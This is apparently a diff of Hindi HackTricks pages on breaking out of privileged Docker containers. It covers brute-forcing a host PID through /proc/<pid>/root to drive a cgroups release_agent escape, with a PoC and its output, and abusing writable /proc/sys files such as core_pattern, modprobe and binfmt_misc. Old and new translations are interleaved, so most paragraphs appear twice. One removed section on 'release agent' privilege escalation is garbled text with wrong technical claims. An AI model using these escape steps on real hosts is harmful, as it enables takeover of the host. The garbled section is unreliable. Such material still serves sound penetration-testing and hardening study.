पिछले PoCs तब अच्छे से काम करते हैं जब कंटेनर को एक storage-driver के साथ कॉन्फ़िगर किया गया होता है जो **पूरे होस्ट पथ को माउंट पॉइंट के रूप में प्रकट करता है**, उदाहरण के लिए `overlayfs`, हालांकि कुछ कॉन्फ़िगरेशन ऐसे भी होते हैं जो **होस्ट फाइल सिस्टम माउंट पॉइंट को स्पष्ट रूप से प्रकट नहीं करते हैं**।
|
||||
|
||||
इस PoC में, होस्ट के भीतर एक कंटेनर PID का पथ उपयोग करने की बजाय, हम होस्ट फ़ाइल सिस्टम के अंदर कंटेनर के स्थान का पथ उपयोग करेंगे।
|
||||
इस PoC में हम होस्ट्स फाइलसिस्टम के अंदर कंटेनर के स्थान के पथ का उपयोग करने के बजाय, हम होस्ट के अंदर एक कंटेनर PID की खोज करने जा रहे हैं
|
||||
|
||||
## होस्ट के भीतर पथ स्थान का प्रकट न करने वाले कंटेनर के उदाहरण
|
||||
## कंटेनर के उदाहरण जो होस्ट के अंदर पथ स्थान को प्रकट नहीं करते हैं
|
||||
|
||||
### काटा कंटेनर्स
|
||||
### Kata Containers
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
|
||||
```
|
||||
[Kata Containers](https://katacontainers.io) डिफ़ॉल्ट रूप से `9pfs` के माध्यम से कंटेनर की रूट फ़ाइल सिस्टम को माउंट करता है। इससे कटा कंटेनर वर्चुअल मशीन में कंटेनर फ़ाइल सिस्टम के स्थान के बारे में कोई जानकारी प्रकट नहीं होती है।
|
||||
[Kata Containers](https://katacontainers.io) कंटेनर की रूट फाइल सिस्टम को `9pfs` के ऊपर डिफ़ॉल्ट रूप से माउंट करता है। यह Kata Containers वर्चुअल मशीन में कंटेनर फाइल सिस्टम के स्थान के बारे में कोई जानकारी प्रकट नहीं करता है।
|
||||
|
||||
### डिवाइस मैपर
|
||||
### Device Mapper
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
|
||||
```
|
||||
मैंने एक लाइव पर्यावरण में इस रूट माउंट के साथ एक कंटेनर देखा, मुझे लगता है कि कंटेनर एक विशेष `devicemapper` स्टोरेज-ड्राइवर कॉन्फ़िगरेशन के साथ चल रहा था, लेकिन इस समय मैं एक परीक्षण पर्यावरण में इस व्यवहार को पुनर्निर्माण करने में असमर्थ रहा हूँ।
|
||||
मैंने एक लाइव वातावरण में एक कंटेनर देखा जिसमें यह रूट माउंट था, मुझे विश्वास है कि कंटेनर एक विशिष्ट `devicemapper` स्टोरेज-ड्राइवर कॉन्फ़िगरेशन के साथ चल रहा था, लेकिन इस समय मैं एक परीक्षण वातावरण में इस व्यवहार को दोहराने में असमर्थ रहा हूँ।
|
||||
|
||||
# PoC
|
||||
|
||||
एकमात्र जानकारी जो आवश्यक है, वह है कंटेनर के भीतर निष्क्रिय करने के लिए **पूरी पथ, कंटेनर होस्ट के संबंध में संबंधित फ़ाइल का**। कंटेनर के भीतर माउंट पॉइंट्स से इसे पहचानने के बिना, हमें अन्य कहीं देखना होगा।
|
||||
आवश्यक एक मुख्य जानकारी है **कंटेनर होस्ट के सापेक्ष, कंटेनर के भीतर निष्पादित करने के लिए एक फ़ाइल का पूरा पथ**। कंटेनर के भीतर माउंट पॉइंट्स से इसे पहचानने में असमर्थ होने के कारण हमें अन्यत्र देखना होगा।
|
||||
|
||||
## /proc/\<pid>/root
|
||||
|
||||
लिनक्स `/proc` प्सेडो-फ़ाइलसिस्टम सभी प्रक्रियाओं के लिए कर्नल प्रक्रिया डेटा संरचनाएं प्रदर्शित करता है, जो सिस्टम पर चल रही हैं, जिनमें से कुछ अलग नेमस्पेस में चल रही हैं, उदाहरण के लिए कंटेनर के भीतर। इसे दिखाया जा सकता है जब होस्ट पर प्रक्रिया के `/proc` निर्देशिका में एक कमांड चलाकर एक कंटेनर में पहुंचा जाता है: कंटेनर
|
||||
लिनक्स `/proc` प्स्यूडो-फाइलसिस्टम सिस्टम पर चल रही सभी प्रक्रियाओं के लिए कर्नेल प्रोसेस डेटा संरचनाओं को प्रकट करता है, जिनमें विभिन्न नेमस्पेस में चल रही प्रक्रियाएं भी शामिल हैं, उदाहरण के लिए एक कंटेनर के भीतर। इसे एक कंटेनर में कमांड चलाकर और होस्ट पर प्रोसेस की `/proc` डायरेक्टरी तक पहुँचकर दिखाया जा सकता है:Container
|
||||
```bash
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
@ -67,15 +65,15 @@ lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
|
|||
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
|
||||
...
|
||||
```
|
||||
_एक बात के रूप में, `/proc/<pid>/root` डेटा संरचना ने मुझे बहुत समय तक भ्रमित किया, मैं कभी समझ नहीं सका कि `/` के लिए एक प्रतीकी लिंक होने का उपयोगी क्यों है, जब तक मैंने मैन पेज में वास्तविक परिभाषण को नहीं पढ़ा:_
|
||||
_एक तरफ, `/proc/<pid>/root` डेटा संरचना एक ऐसी चीज है जिसने मुझे बहुत लंबे समय तक भ्रमित किया, मैं कभी नहीं समझ पाया कि `/` के लिए एक प्रतीकात्मक लिंक होना क्यों उपयोगी है, जब तक कि मैंने मैन पेजेस में वास्तविक परिभाषा नहीं पढ़ी:_
|
||||
|
||||
> /proc/\[pid]/root
|
||||
>
|
||||
> UNIX और Linux में प्रतिप्रोसेस फ़ाइलसिस्टम की एक प्रति को समर्थन किया जाता है, जिसे chroot(2) सिस्टम कॉल द्वारा सेट किया जाता है। यह फ़ाइल एक प्रतीकी लिंक है जो प्रक्रिया के रूट निर्देशिका को पॉइंट करता है, और exe और fd/\* की तरह व्यवहार करता है।
|
||||
> UNIX और Linux में प्रति-प्रक्रिया फाइलसिस्टम की जड़ का विचार समर्थित है, जिसे chroot(2) सिस्टम कॉल द्वारा सेट किया जाता है। यह फाइल एक प्रतीकात्मक लिंक है जो प्रक्रिया की जड़ निर्देशिका की ओर इशारा करता है, और exe और fd/\* के समान ही व्यवहार करता है।
|
||||
>
|
||||
> हालांकि ध्यान दें कि यह फ़ाइल केवल एक प्रतीकी लिंक नहीं है। यह प्रक्रिया खुद की तरह फ़ाइलसिस्टम का एक समान दृश्य प्रदान करता है (नेमस्पेस और प्रति-प्रक्रिया माउंट की सेट सहित)।
|
||||
> हालांकि, ध्यान दें कि यह फाइल केवल एक प्रतीकात्मक लिंक नहीं है। यह प्रक्रिया के समान ही फाइलसिस्टम का दृश्य प्रदान करता है (सहित namespaces और प्रति-प्रक्रिया माउंट्स का सेट)।
|
||||
|
||||
**`/proc/<pid>/root` प्रतीकी लिंक को कंटेनर के भीतर किसी भी फ़ाइल के लिए होस्ट संबंधित पथ के रूप में उपयोग किया जा सकता है**:
|
||||
**`/proc/<pid>/root` प्रतीकात्मक लिंक का उपयोग किसी भी फाइल के लिए एक होस्ट सापेक्ष पथ के रूप में किया जा सकता है जो कि एक container के भीतर है**:
|
||||
```bash
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
|
@ -86,32 +84,17 @@ root@host:~$ cat /proc/`pidof sleep`/root/findme
|
|||
findme
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
**यह हमले की आवश्यकता को बदल देता है, जहां कंटेनर में एक फ़ाइल के पूरे पथ को, कंटेनर होस्ट के संबंध में जानने की आवश्यकता होती है, किसी भी प्रक्रिया के pid को जानने की आवश्यकता होती है।**
|
||||
**इससे हमले की आवश्यकता बदल जाती है, जिससे कि पूर्ण पथ की जानकारी होने से, जो कंटेनर होस्ट के सापेक्ष होता है, उस फाइल के भीतर जो कंटेनर में होती है, अब केवल कंटेनर में चल रही **_**किसी भी**_** प्रक्रिया की pid की जानकारी होना आवश्यक है।**
|
||||
{% endhint %}
|
||||
|
||||
## Pid Bashing <a href="#pid-bashing" id="pid-bashing"></a>
|
||||
|
||||
यह वास्तव में आसान है, लिनक्स में प्रक्रिया आईडी संख्यात्मक होते हैं और लगातार आईडी आवंटित की जाती है। `init` प्रक्रिया को प्रक्रिया आईडी `1` आवंटित की जाती है और इसके बाद की सभी प्रक्रियाओं को आवंटित आईडी बढ़ती हैं। **कंटेनर में एक प्रक्रिया के होस्ट प्रक्रिया आईडी की पहचान करने के लिए, एक ब्रूट फ़ोर्स इंक्रीमेंटल सर्च का उपयोग किया जा सकता है**:
|
||||
यह वास्तव में आसान हिस्सा है, Linux में प्रक्रिया आईडी संख्यात्मक होती है और क्रमिक रूप से असाइन की जाती है। `init` प्रक्रिया को प्रक्रिया आईडी `1` असाइन की जाती है और सभी बाद की प्रक्रियाओं को बढ़ती हुई आईडी दी जाती है। **कंटेनर के भीतर की प्रक्रिया की होस्ट प्रक्रिया आईडी की पहचान करने के लिए, एक ब्रूट फोर्स इंक्रीमेंटल सर्च का उपयोग किया जा सकता है**:
|
||||
```
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
# रिलीज़ एजेंट अपशिष्ट का उपयोग करके प्राथमिकता उन्नयन
|
||||
|
||||
यह तकनीक एक डॉकर कंटेनर में उच्च प्राथमिकता को प्राप्त करने के लिए एक अपशिष्ट का उपयोग करती है। यह तकनीक उन डॉकर कंटेनरों के लिए उपयोगी हो सकती है जिनमें रूट उपयोगकर्ता नहीं है, लेकिन उच्च प्राथमिकता की आवश्यकता होती है।
|
||||
|
||||
यह तकनीक एक अपशिष्ट को रिलीज़ एजेंट के रूप में सेट करने के लिए उपयोगी होती है, जो डॉकर डेमन द्वारा चलाए जाने वाले प्रत्येक डॉकर कंटेनर के लिए एक स्थायी प्रक्रिया होती है। जब डॉकर कंटेनर शुरू होता है, रिलीज़ एजेंट चलाने के लिए एक निर्दिष्ट स्क्रिप्ट को कॉल किया जाता है।
|
||||
|
||||
इस तकनीक का उपयोग करके, हम एक अपशिष्ट को रिलीज़ एजेंट के रूप में सेट कर सकते हैं और उसे एक अनुमति नियंत्रित डॉकर कंटेनर में चलाने के लिए उपयोग कर सकते हैं। इसके बाद, हम एक अपशिष्ट को उच्च प्राथमिकता वाले प्रक्रिया के रूप में चला सकते हैं, जिससे हमें उच्च प्राथमिकता मिलती है।
|
||||
|
||||
इस तकनीक का उपयोग करने के लिए, हमें निम्नलिखित कदमों का पालन करना होगा:
|
||||
|
||||
1. एक अपशिष्ट तैयार करें जिसे हम रिलीज़ एजेंट के रूप में सेट करना चाहते हैं।
|
||||
2. अपशिष्ट को `/proc/sys/kernel/core_pattern` फ़ाइल में सेट करें।
|
||||
3. डॉकर कंटेनर को शुरू करने के लिए एक अनुमति नियंत्रित स्क्रिप्ट तैयार करें और उसे रिलीज़ एजेंट के रूप में सेट करें।
|
||||
4. अपशिष्ट को उच्च प्राथमिकता वाले प्रक्रिया के रूप में चलाएं और उच्च प्राथमिकता प्राप्त करें।
|
||||
|
||||
इस तकनीक का उपयोग करने से पहले, हमें ध्यान देना चाहिए कि यह केवल उन डॉकर कंटेनरों के लिए काम करेगी जिनमें रूट उपयोगकर्ता नहीं है, लेकिन उच्च प्राथमिकता की आवश्यकता होती है।
|
||||
मेजबान
|
||||
```bash
|
||||
root@host:~$ COUNTER=1
|
||||
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
|
||||
|
@ -120,13 +103,13 @@ root@host:~$ echo ${COUNTER}
|
|||
root@host:~$ cat /proc/${COUNTER}/root/findme
|
||||
findme
|
||||
```
|
||||
## सब कुछ मिलाकर रखना <a href="#सब-कुछ-मिलाकर-रखना" id="सब-कुछ-मिलाकर-रखना"></a>
|
||||
## सभी को एक साथ रखना <a href="#putting-it-all-together" id="putting-it-all-together"></a>
|
||||
|
||||
इस हमले को पूरा करने के लिए, ब्रूट फोर्स तकनीक का उपयोग किया जा सकता है ताकि **पथ `/proc/<pid>/root/payload.sh` के लिए PID को अनुमान लगाया जा सके**, प्रत्येक पटक अनुमान लगाने के साथ-साथ अनुमानित pid **पथ को cgroups `release_agent` फ़ाइल में लिखें, `release_agent` को ट्रिगर करें**, और देखें कि क्या एक आउटपुट फ़ाइल बनाई जाती है।
|
||||
इस हमले को पूरा करने के लिए **`/proc/<pid>/root/payload.sh` पथ के लिए PID का अनुमान लगाने के लिए ब्रूट फोर्स तकनीक** का उपयोग किया जा सकता है, प्रत्येक पुनरावृत्ति में अनुमानित pid **पथ को cgroups `release_agent` फ़ाइल में लिखना, `release_agent` को ट्रिगर करना**, और देखना कि क्या एक आउटपुट फ़ाइल बनाई गई है।
|
||||
|
||||
इस तकनीक के साथ एकमात्र सावधानी यह है कि यह किसी भी तरीके से छिपा हुआ नहीं है, और पिडी गिनती को बहुत अधिक बढ़ा सकता है। क्योंकि कोई लंबे समय तक चलने वाली प्रक्रियाएं चलाई नहीं जाती हैं, इसलिए यह संचालन की समस्याओं का कारण नहीं बनेगा, लेकिन इस पर मुझे न लिखें।
|
||||
इस तकनीक के साथ एकमात्र सावधानी यह है कि यह किसी भी तरह से सूक्ष्म नहीं है, और pid की गिनती को बहुत अधिक बढ़ा सकता है। चूंकि कोई भी लंबे समय तक चलने वाली प्रक्रियाएं चलती नहीं रहती हैं, इसलिए इसे _चाहिए_ कि विश्वसनीयता के मुद्दे पैदा नहीं होंगे, लेकिन इस पर मेरे शब्दों को उद्धृत न करें।
|
||||
|
||||
नीचे दिए गए PoC में इन तकनीकों का अमल किया गया है ताकि **cgroups `release_agent` की कार्यक्षमता का उपयोग करके एक विशेषज्ञ होने वाले कंटेनर से बाहर निकलने के लिए पहले Felix के मूल PoC से अधिक सामान्य हमला प्रदान किया जा सके**:
|
||||
नीचे दिया गया PoC इन तकनीकों को लागू करता है ताकि पहले प्रस्तुत किए गए Felix के मूल PoC से अधिक सामान्य हमला प्रदान किया जा सके, जो एक विशेषाधिकार प्राप्त कंटेनर से बचने के लिए **cgroups `release_agent` कार्यक्षमता** का उपयोग करता है:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -186,7 +169,7 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
एक प्रिविलेज्ड कंटेनर के भीतर PoC को निष्पादित करने से आउटपुट ऐसा होना चाहिए:
|
||||
निष्पादित करने पर PoC को एक विशेषाधिकार प्राप्त कंटेनर के भीतर, आउटपुट कुछ इस प्रकार का होना चाहिए:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
|
@ -221,16 +204,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,35 +1,33 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना** चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने** की पहुंच चाहिए? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks repo](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
(_**यह जानकारी**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) **से ली गई है_)
|
||||
(_**यह जानकारी यहाँ से ली गई थी**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts))
|
||||
|
||||
नेमस्पेस समर्थन की कमी के कारण, `/proc` और `/sys` का प्रकटीकरण एक महत्वपूर्ण हमले का स्रोत और जानकारी विस्फोट का स्रोत प्रदान करता है। `procfs` और `sysfs` के कई फ़ाइलें कंटेनर छूटने, होस्ट संशोधन या मूलभूत जानकारी विस्फोट के लिए एक जोखिम प्रदान करती हैं, जो अन्य हमलों को सुविधाजनक बना सकती हैं।
|
||||
नेमस्पेस सपोर्ट की कमी के कारण, `/proc` और `/sys` का उजागर होना महत्वपूर्ण हमले की सतह और सूचना लीक का स्रोत प्रदान करता है। `procfs` और `sysfs` के अनेक फाइलें कंटेनर एस्केप, होस्ट मॉडिफिकेशन या बेसिक सूचना लीक के लिए जोखिम प्रदान करती हैं, जो अन्य हमलों को सुविधाजनक बना सकती हैं।
|
||||
|
||||
इन तकनीकों का दुरुपयोग करने के लिए शायद बस ऐसी कोई गलत-कॉन्फ़िगर करने की आवश्यकता होगी जैसे `-v /proc:/host/proc` क्योंकि **AppArmor** `/host/proc` को सुरक्षित नहीं रखता है क्योंकि **AppArmor** पाथ पर आधारित होता है।
|
||||
इन तकनीकों का दुरुपयोग करने के लिए केवल `-v /proc:/host/proc` जैसी कुछ गलत कॉन्फ़िगर करना पर्याप्त हो सकता है क्योंकि **AppArmor `/host/proc` की रक्षा नहीं करता क्योंकि AppArmor पथ आधारित है**
|
||||
|
||||
# procfs
|
||||
|
||||
## /proc/sys
|
||||
|
||||
`/proc/sys` आमतौर पर कर्नल चरवरीयों को संशोधित करने की अनुमति देता है, जो अक्सर `sysctl(2)` के माध्यम से नियंत्रित होते हैं।
|
||||
`/proc/sys` आमतौर पर कर्नेल वेरिएबल्स को संशोधित करने की अनुमति देता है, जिसे अक्सर `sysctl(2)` के माध्यम से नियंत्रित किया जाता है।
|
||||
|
||||
### /proc/sys/kernel/core\_pattern
|
||||
|
||||
[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) एक प्रोग्राम को परिभाषित करता है जो कोर-फ़ाइल उत्पन्न होने पर (आमतौर पर कोई प्रोग्राम क्रैश) चलाया जाता है और यदि इस फ़ाइल का पहला वर्ण पाइप प्रतीक `|` है तो कोर फ़ाइल को मानक इनपुट के रूप में पास किया जाता है। यह प्रोग्राम रूट उपयोगकर्ता द्वारा चलाया जाता है और इसमें 128 बाइट तक के कमांड लाइन तर्क संभव हैं। यह किसी भी क्रैश और कोर फ़ाइल उत्पन्न होने के द्वारा कंटेनर होस्ट में सरल कोड निष्पादन की अनुमति देगा (जो कि कई खतरनाक कार्रवाईयों के दौरान सरलता से छोड़ दिया जा सकता है)।
|
||||
[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) एक प्रोग्राम को परिभाषित करता है जो कोर-फाइल जनरेशन (आमतौर पर एक प्रोग्राम क्रैश) पर निष्पादित होता है और यदि इस फाइल का पहला अक्षर पाइप प्रतीक `|` है, तो कोर फाइल को मानक इनपुट के रूप में पास किया जाता है। यह प्रोग्राम रूट यूजर द्वारा चलाया जाता है और कमांड लाइन आर्ग्युमेंट्स के 128 बाइट्स तक की अनुमति देता है। यह किसी भी क्रैश और कोर फाइल जनरेशन के दौरान (जिसे दुर्भावनापूर्ण क्रियाओं के दौरान सरलता से त्यागा जा सकता है) कंटेनर होस्ट के भीतर तुच्छ कोड निष्पादन की अनुमति देगा।
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing
|
||||
cd /proc/sys/kernel
|
||||
|
@ -38,82 +36,82 @@ sleep 5 && ./crash &
|
|||
```
|
||||
### /proc/sys/kernel/modprobe
|
||||
|
||||
[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) में कर्नल मॉड्यूल लोडर का पथ होता है, जो कर्नल मॉड्यूल को लोड करने के लिए उपयोग होता है, जैसे [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html) कमांड के माध्यम से. कोड क्रियाओं को निष्पादित करके कोड का निष्पादन किया जा सकता है जब कर्नल को कर्नल मॉड्यूल लोड करने का प्रयास करने की कोशिश की जाती है (जैसे कि क्रिप्टो-API का उपयोग करके एक वर्तमान मूल्यांकन नहीं करने वाले क्रिप्टो-मॉड्यूल को लोड करने के लिए, या नेटवर्किंग मॉड्यूल को लोड करने के लिए ifconfig का उपयोग करने के लिए जो वर्तमान में उपयोग नहीं हो रहा है).
|
||||
[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) में कर्नेल मॉड्यूल लोडर का पथ होता है, जिसे कर्नेल मॉड्यूल लोड करते समय बुलाया जाता है, जैसे कि [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html) कमांड के माध्यम से। कोड निष्पादन प्राप्त किया जा सकता है किसी भी क्रिया को अंजाम देकर जो कर्नेल को कर्नेल मॉड्यूल लोड करने का प्रयास करने के लिए उत्प्रेरित करेगी (जैसे कि क्रिप्टो-API का उपयोग करके वर्तमान में अनलोडेड क्रिप्टो-मॉड्यूल लोड करना, या ifconfig का उपयोग करके एक नेटवर्किंग मॉड्यूल लोड करना जो वर्तमान में इस्तेमाल नहीं किया जा रहा हो)।
|
||||
```bash
|
||||
# Check if you can directly access modprobe
|
||||
ls -l `cat /proc/sys/kernel/modprobe`
|
||||
```
|
||||
### /proc/sys/vm/panic\_on\_oom
|
||||
### /proc/sys/vm/panic_on_oom
|
||||
|
||||
[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) एक वैश्विक ध्वज है जो निर्धारित करता है कि कर्नल क्या करेगा जब एक आउट ऑफ मेमोरी (OOM) स्थिति होती है (ऑउट ऑफ मेमोरी किलर को बुलाने की बजाय पैनिक करेगा)। यह एक डिनायल ऑफ सर्विस (DoS) हमला है जो केवल होस्ट के लिए होने चाहिए।
|
||||
[/proc/sys/vm/panic_on_oom](https://man7.org/linux/man-pages/man5/proc.5.html) एक वैश्विक ध्वज है जो निर्धारित करता है कि कर्नेल तब पैनिक होगा जब एक Out of Memory (OOM) स्थिति हिट होती है (बजाय OOM किलर को आमंत्रित करने के)। यह एक Denial of Service (DoS) हमले से अधिक है बजाय कंटेनर एस्केप के, लेकिन यह एक क्षमता को उजागर करता है जो केवल होस्ट के लिए उपलब्ध होनी चाहिए।
|
||||
|
||||
### /proc/sys/fs
|
||||
|
||||
[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) निर्देशिका विभिन्न फ़ाइल सिस्टम के विभिन्न पहलुओं, सहित कोटा, फ़ाइल हैंडल, इनोड और डेंट्री सूचना के बारे में विकल्प और जानकारी का एक एरे है। इस निर्देशिका में लिखने की अनुमति देने से, होस्ट के खिलाफ विभिन्न डिनायल-ऑफ-सर्विस हमलों की अनुमति होगी।
|
||||
[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) निर्देशिका फाइल सिस्टम के विभिन्न पहलुओं से संबंधित विकल्पों और जानकारी का एक सरणी होती है, जिसमें कोटा, फाइल हैंडल, इनोड, और डेंट्री जानकारी शामिल है। इस निर्देशिका को लिखने की पहुंच होस्ट के खिलाफ विभिन्न Denial-of-Service हमलों को सक्षम करेगी।
|
||||
|
||||
### /proc/sys/fs/binfmt\_misc
|
||||
### /proc/sys/fs/binfmt_misc
|
||||
|
||||
[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) विभिन्न **इंटरप्रेटर्स को गैर-मूलभूत बाइनरी** प्रारूपों के लिए पंजीकृत करने की अनुमति देता है, जो आमतौर पर उनके मैजिक नंबर पर आधारित होते हैं (जैसे जावा)। आप कर्नल को एक बाइनरी को पंजीकृत करके चला सकते हैं।
|
||||
आप [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc) में एक अपशिष्ट पुरुष का उपयोग कर सकते हैं: _Poor man's rootkit, leverage_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_'s_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _option to escalate privilege through any suid binary (and to get a root shell) if `/proc/sys/fs/binfmt_misc/register` is writeable._
|
||||
